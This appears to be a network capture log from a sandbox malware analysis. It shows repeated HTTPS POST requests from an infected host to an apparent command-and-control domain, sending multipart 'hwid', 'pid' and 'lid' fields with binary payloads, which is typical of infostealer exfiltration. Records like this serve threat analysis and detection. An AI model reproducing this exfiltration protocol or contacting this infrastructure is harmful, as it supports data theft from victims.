2024-11-01 04:54:00 UTC	1369	IN	Data Raw: 58 6c 37 5a 6c 31 5a 6c 4c 5a 35 72 64 65 57 38 6a 48 4e 30 46 4f 34 62 42 61 4c 79 4d 6a 47 4f 4d 5a 43 34 46 47 72 33 2b 4b 44 53 6b 6a 45 32 62 69 41 78 79 30 74 5a 79 50 58 5a 5a 31 41 63 31 6a 63 6c 33 73 59 79 42 5a 63 77 73 5a 67 6f 46 38 61 68 6d 41 5a 2b 36 62 74 57 59 53 6d 4b 57 30 48 70 35 49 68 36 56 51 58 4b 45 31 53 58 6e 33 71 64 68 31 6a 41 73 4c 41 6e 39 6f 58 67 46 6a 50 74 78 6c 59 34 43 62 4a 36 52 4a 6a 30 71 45 74 38 47 4d 59 72 4a 61 4c 2b 58 67 47 76 45 4a 32 59 51 41 2f 65 30 62 42 61 57 74 47 54 66 6e 30 35 6b 6e 74 56 73 64 6d 35 58 6c 51 67 71 77 35 55 6c 6e 35 57 5a 51 64 34 34 4c 68 31 4d 35 4f 5a 76 48 39 66 6a 4c 74 4b 62 51 32 71 59 31 33 56 34 49 78 6e 51 42 54 57 50 7a 57 57 38 6d 49 6c 76 78 43 4a 69 44 67 48 77 6f 32 Data Ascii: Xl7Zl1ZlLZ5rdeW8jHN0FO4bBaLyMjGOMZC4FGr3+KDSkjE2biAxy0tZyPXZZ1Ac1jcl3sYyBZcwsZgoF8ahmAZ+6btWYSmKW0Hp5Ih6VQXKE1SXn3qdh1jAsLAn9oXgFjPtxlY4CbJ6RJj0qEt8GMYrJaL+XgGvEJ2YQA/e0bBaWtGTfn05kntVsdm5XlQgqw5Uln5WZQd44Lh1M5OZvH9fjLtKbQ2qY13V4IxnQBTWPzWW8mIlvxCJiDgHwo2
2024-11-01 04:54:00 UTC	1369	IN	Data Raw: 59 4e 71 52 54 6d 62 53 6e 7a 35 36 4e 6c 6d 4e 54 78 57 5a 77 47 4f 6f 6a 37 70 6c 7a 48 73 75 48 55 7a 6b 35 6d 38 66 31 2b 4d 75 31 70 74 49 5a 70 66 56 64 6e 6f 74 47 4e 6b 4c 50 34 37 4a 62 4c 75 62 6e 58 44 4b 4a 47 34 4e 44 50 4b 71 65 68 32 53 75 32 4b 62 32 51 4a 73 69 70 45 6d 50 52 38 4f 31 55 38 74 7a 64 51 6c 75 4a 4c 50 4f 6f 77 6c 59 78 41 4f 38 71 5a 70 45 4a 4f 77 61 64 32 52 51 32 69 58 30 6e 74 37 4c 78 6e 5a 42 54 57 4c 78 32 75 79 6d 49 74 6b 79 6d 6f 67 51 67 58 6c 35 6a 42 54 70 62 5a 67 30 70 52 45 5a 6f 54 35 54 7a 30 78 56 38 78 50 4e 59 2b 4e 50 66 2b 61 68 47 72 41 4c 32 59 48 41 2f 57 73 59 42 79 59 71 57 2f 55 6e 6b 56 67 6e 39 35 77 65 43 41 4c 30 67 51 35 69 38 52 72 75 64 37 42 49 73 73 79 4c 6c 70 43 79 36 56 6d 47 49 61 Data Ascii: YNqRTmbSnz56NlmNTxWZwGOoj7plzHsuHUzk5m8f1+Mu1ptIZpfVdnotGNkLP47JbLubnXDKJG4NDPKqeh2Su2Kb2QJsipEmPR8O1U8tzdQluJLPOowlYxAO8qZpEJOwad2RQ2iX0nt7LxnZBTWLx2uymItkymogQgXl5jBTpbZg0pREZoT5Tz0xV8xPNY+NPf+ahGrAL2YHA/WsYByYqW/UnkVgn95weCAL0gQ5i8Rrud7BIssyLlpCy6VmGIa
2024-11-01 04:54:00 UTC	1369	IN	Data Raw: 55 4e 6b 30 70 38 2b 65 6a 5a 5a 6a 55 38 44 6c 63 70 69 73 4e 79 6d 5a 64 63 72 5a 41 45 4a 38 65 5a 33 58 59 37 37 61 64 66 58 47 69 75 66 33 58 4e 35 50 42 58 56 44 7a 75 45 78 33 65 77 6b 59 4a 68 7a 43 39 38 41 78 44 79 72 57 30 51 6b 37 52 68 31 35 39 49 4b 39 79 52 65 57 56 75 51 5a 55 6a 4d 5a 4c 48 4a 35 69 45 6d 57 58 41 4f 32 55 50 44 72 32 35 4a 67 72 58 76 47 4b 62 7a 77 4a 72 6b 39 78 73 65 43 38 54 33 77 49 36 6a 4d 68 67 73 4a 71 4c 61 63 49 34 59 41 30 43 2b 36 31 70 46 70 53 77 5a 4e 57 65 55 43 76 63 6b 58 6c 6c 62 6b 47 56 4a 53 6d 43 77 47 6e 39 73 49 52 30 79 32 68 50 44 41 6e 36 71 6e 35 54 69 50 56 33 6d 35 42 4f 4b 38 71 52 64 33 4d 69 47 74 49 48 4f 6f 62 4e 62 72 2b 52 68 57 7a 4c 4f 47 51 4f 43 4f 2b 70 61 78 36 54 74 6d 54 65 Data Ascii: UNk0p8+ejZZjU8DlcpisNymZdcrZAEJ8eZ3XY77adfXGiuf3XN5PBXVDzuEx3ewkYJhzC98AxDyrW0Qk7Rh159IK9yReWVuQZUjMZLHJ5iEmWXAO2UPDr25JgrXvGKbzwJrk9xseC8T3wI6jMhgsJqLacI4YA0C+61pFpSwZNWeUCvckXllbkGVJSmCwGn9sIR0y2hPDAn6qn5TiPV3m5BOK8qRd3MiGtIHOobNbr+RhWzLOGQOCO+pax6TtmTe
2024-11-01 04:54:00 UTC	1369	IN	Data Raw: 36 52 4a 6a 30 75 48 64 6b 4d 4e 59 33 43 61 4c 43 5a 68 47 33 47 4a 48 77 4e 42 2f 57 71 59 42 36 46 73 57 54 4a 6e 6b 74 6d 6e 4e 6c 73 66 6d 35 58 6c 51 67 71 77 35 55 6c 6a 5a 53 4d 62 74 6f 6e 59 55 49 64 73 37 38 6f 46 4a 76 37 4e 70 75 46 55 47 75 5a 30 58 6c 7a 50 42 6a 64 41 44 69 44 79 32 36 31 6e 59 5a 6d 77 69 4e 6f 41 77 2f 38 70 32 67 57 6c 37 4a 38 31 74 63 4d 4b 35 58 4a 50 69 56 75 4c 74 6b 45 41 34 44 62 4a 61 44 51 6c 69 4c 4c 4a 69 35 61 51 76 79 30 5a 52 75 54 75 32 50 64 6e 45 4e 71 6b 64 46 2b 66 69 34 63 33 67 41 30 68 4d 42 76 74 70 65 64 61 73 67 34 62 67 34 47 76 65 67 6f 46 49 2f 37 4e 70 75 6e 51 57 43 65 30 58 4e 6f 62 67 61 62 46 6e 4b 45 77 53 58 6e 33 6f 64 70 78 79 78 6c 41 51 48 7a 72 57 49 63 6d 4c 46 6f 33 5a 39 48 61 Data Ascii: 6RJj0uHdkMNY3CaLCZhG3GJHwNB/WqYB6FsWTJnktmnNlsfm5XlQgqw5UljZSMbtonYUIds78oFJv7NpuFUGuZ0XlzPBjdADiDy261nYZmwiNoAw/8p2gWl7J81tcMK5XJPiVuLtkEA4DbJaDQliLLJi5aQvy0ZRuTu2PdnENqkdF+fi4c3gA0hMBvtpedasg4bg4GvegoFI/7NpunQWCe0XNobgabFnKEwSXn3odpxyxlAQHzrWIcmLFo3Z9Ha
2024-11-01 04:54:00 UTC	1369	IN	Data Raw: 2f 4c 78 54 46 43 48 4c 4e 6a 57 50 2f 78 74 38 73 6a 43 35 2f 51 6c 71 74 39 44 4e 47 78 4f 77 2b 69 59 67 4d 63 74 4c 48 50 69 56 38 56 35 55 64 63 74 75 4e 49 72 79 4d 6e 57 54 50 50 47 31 46 50 4d 4f 47 59 78 2b 55 74 32 2f 63 31 77 77 72 6e 5a 45 6d 52 47 34 61 78 78 31 39 6b 74 74 6f 72 35 6e 44 61 74 30 6e 59 6b 4a 4d 76 65 70 73 47 4a 75 2b 61 63 76 59 55 48 75 5a 33 57 67 78 4b 67 75 56 51 58 4b 53 78 6d 71 74 6b 49 67 74 33 54 78 6a 45 67 48 34 6f 53 51 62 68 72 5a 69 6d 39 6b 43 66 70 6e 64 65 48 41 37 56 73 51 5a 4d 5a 58 4b 4b 62 65 50 67 6d 36 4d 46 53 42 43 47 72 33 2b 4b 43 61 55 74 57 44 63 67 56 4d 6d 73 74 70 79 66 69 49 59 30 6b 39 38 77 38 73 6c 35 38 33 42 49 73 67 37 4c 6c 70 53 72 2f 30 39 51 4d 44 72 50 4d 54 5a 57 79 75 45 6b 53 Data Ascii: /LxTFCHLNjWP/xt8sjC5/Qlqt9DNGxOw+iYgMctLHPiV8V5UdctuNIryMnWTPPG1FPMOGYx+Ut2/c1wwrnZEmRG4axx19kttor5nDat0nYkJMvepsGJu+acvYUHuZ3WgxKguVQXKSxmqtkIgt3TxjEgH4oSQbhrZim9kCfpndeHA7VsQZMZXKKbePgm6MFSBCGr3+KCaUtWDcgVMmstpyfiIY0k98w8sl583BIsg7LlpSr/09QMDrPMTZWyuEkS
2024-11-01 04:54:00 UTC	1369	IN	Data Raw: 6c 52 31 79 32 34 30 69 73 5a 4f 4f 59 63 49 70 66 42 41 45 2f 72 42 72 56 4b 6d 46 53 39 61 61 52 32 57 56 37 30 42 63 4a 41 6e 59 41 44 57 39 38 31 4b 75 6d 5a 38 67 36 69 6c 34 41 55 4b 7a 35 6e 42 54 7a 2f 74 50 30 59 64 50 5a 4a 57 52 4d 44 30 71 57 59 31 50 46 34 37 41 59 4c 47 5a 7a 55 50 47 4f 6d 4d 4e 42 62 33 6f 4b 42 2f 58 34 79 37 61 6e 56 4a 6d 6e 64 59 79 65 6a 51 65 6c 55 46 79 6a 59 30 39 2f 35 2b 46 63 73 45 6c 61 55 34 45 38 36 67 6f 44 4e 6d 69 4c 73 33 58 47 6a 6a 63 6b 57 77 39 64 6c 6d 53 41 54 2b 43 7a 6d 75 38 6a 4a 31 6b 7a 7a 78 74 52 54 7a 44 67 32 55 65 6b 72 56 70 35 61 6c 6a 59 59 4c 63 63 58 70 73 4f 64 49 5a 4d 62 33 7a 55 71 36 5a 6e 79 44 71 4b 58 67 42 51 72 50 6d 63 46 50 50 2b 30 2f 52 68 30 39 6b 6c 5a 4e 65 65 6a 67 Data Ascii: lR1y240isZOOYcIpfBAE/rBrVKmFS9aaR2WV70BcJAnYADW981KumZ8g6il4AUKz5nBTz/tP0YdPZJWRMD0qWY1PF47AYLGZzUPGOmMNBb3oKB/X4y7anVJmndYyejQelUFyjY09/5+FcsElaU4E86goDNmiLs3XGjjckWw9dlmSAT+Czmu8jJ1kzzxtRTzDg2UekrVp5aljYYLccXpsOdIZMb3zUq6ZnyDqKXgBQrPmcFPP+0/Rh09klZNeejg

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	50084	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:54:01 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-11-01 04:54:01 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:54:02 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:54:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0v0rr0ocb2pt44bt96t372finl; expires=Mon, 24-Feb-2025 22:40:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZjBev7wdPJupWd1TK%2FJrLh%2BbJROi0RMmTDZei6Hrrzw%2BluNYptnX4wMrKUYIP5VY%2Ff65TCMu4hhXR1BiHKVvcygxTySVZi8USGgnS1rBCAWPfsxtG5VknXH6bWja77HaZG2p7QM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db948d3cb416c61-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1088&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13782&delivery_rate=2518260&cwnd=232&unsent_bytes=0&cid=c6544f1886d53725&ts=528&x=0"
2024-11-01 04:54:02 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:54:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	50086	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:54:02 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-11-01 04:54:02 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:54:03 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:54:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lqk061l2kljlmdrfvh18c3j665; expires=Mon, 24-Feb-2025 22:40:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WdA8Iv9%2BxXi87EXAXQdCs8g%2B9Z1RhOjMl1kYXjlMc5p6vQb8XnSIvIwrtHGe2l9gBpYhhMzyS2bCCwhYG8T4OS5F0xSSLuy46w2Icmc9zIq6pwQpJZzxK7SErRZFVSs8%2BvMZlZg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db948db0c384762-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1150&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16024&delivery_rate=2373770&cwnd=251&unsent_bytes=0&cid=66e6bf2ffd9a35d0&ts=777&x=0"
2024-11-01 04:54:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:54:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	50088	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:54:04 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-11-01 04:54:04 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:54:04 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-11-01 04:54:04 UTC	1025	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:54:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ls8kpgbudtquqjmu7p2dusg51m; expires=Mon, 24-Feb-2025 22:40:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r5udozSn9lBbddBMBlPJl4%2B2I7k2MEZVXvvLPziCGAETKlHTCZTcrkOuMW4r3oT5Iub%2BraJs0FrEFzMWtvlYqdke167cWTQH%2Bre0p%2BECKsFd2g%2BmMdWs%2BsRkbuIF%2FCKVJnpIVzg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db948e4bc74e905-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1595&sent=17&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21536&delivery_rate=1770171&cwnd=234&unsent_bytes=0&cid=e8a5329ad3b5d32a&ts=789&x=0"
2024-11-01 04:54:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:54:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	50090	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:54:05 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1270 Host: necklacedmny.store
2024-11-01 04:54:05 UTC	1270	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:54:06 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:54:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h9sm14r17v26bhlf85smjh1s9e; expires=Mon, 24-Feb-2025 22:40:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PQdHWCwhMoorQoFxmX2bMzycFrR95PgR%2FusT%2BYtKuPV5EFh%2BcJpTO0dU%2BsfJObb3vg94Vc%2F2%2BJYULeOjPCBsBFYB169%2BDKDC5Ogmn49vRUCQzfo0adPtsfQLhOmttkdmJC86lQQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db948ee89236b7d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1247&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2189&delivery_rate=2322373&cwnd=215&unsent_bytes=0&cid=1dae5670d89527cd&ts=620&x=0"
2024-11-01 04:54:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:54:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	50093	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:54:08 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48729 Host: necklacedmny.store
2024-11-01 04:54:08 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:54:08 UTC	15331	OUT	Data Raw: e7 7f 86 59 cc ef 64 4e 84 64 ff 7a 3f 50 dc 30 ba 24 b0 11 5b 84 ea da 87 6d c0 a6 08 a5 7e 8b 84 57 89 97 b9 c4 c3 dc 01 25 3f 29 73 7b c0 8c 07 47 1d c4 c2 0b 45 1b 1b bf 5d 7f 6a 56 1c 2f 08 9c 13 37 49 3c 48 e9 d0 80 e4 c2 03 c6 36 2e 36 71 c4 29 85 37 c2 ca 20 e9 4b 7c ca cb e9 84 e9 06 5e 30 82 dd dc 97 33 10 30 c7 4b 12 75 e7 97 dc 8d 68 a0 ee ca fc b5 5f 15 62 b8 0f 30 92 db 02 23 9f d4 9e 16 4f 3d 20 f0 b2 fd a9 b8 54 fa b7 99 60 df 91 b6 f0 bd d8 08 ca f0 fc eb 02 ea f8 25 75 1e ef a5 fa 43 f4 fb b7 80 3d ee 6f 77 90 76 e3 fe ec 43 27 3e d9 1e 1b 0f 6c 8a d6 2f 7c f2 91 75 b2 96 3a 3b d9 33 fb 40 d1 7c 1a 34 ab 54 4f 57 0f f4 90 e8 5e 37 1e e0 b4 bf 4a 2e de f0 62 e2 6d fe 3e 73 09 c0 3d 41 2e 58 4b a5 5c 6a 9a bd 69 b9 51 d4 d6 b4 24 fd d5 42 Data Ascii: YdNdz?P0$[m~W%?)s{GE]jV/7I<H6.6q)7 K\|^030Kuh_b0#O= T`%uC=owvC'>l/\|u:;3@\|4TOW^7J.bm>s=A.XK\jiQ$B
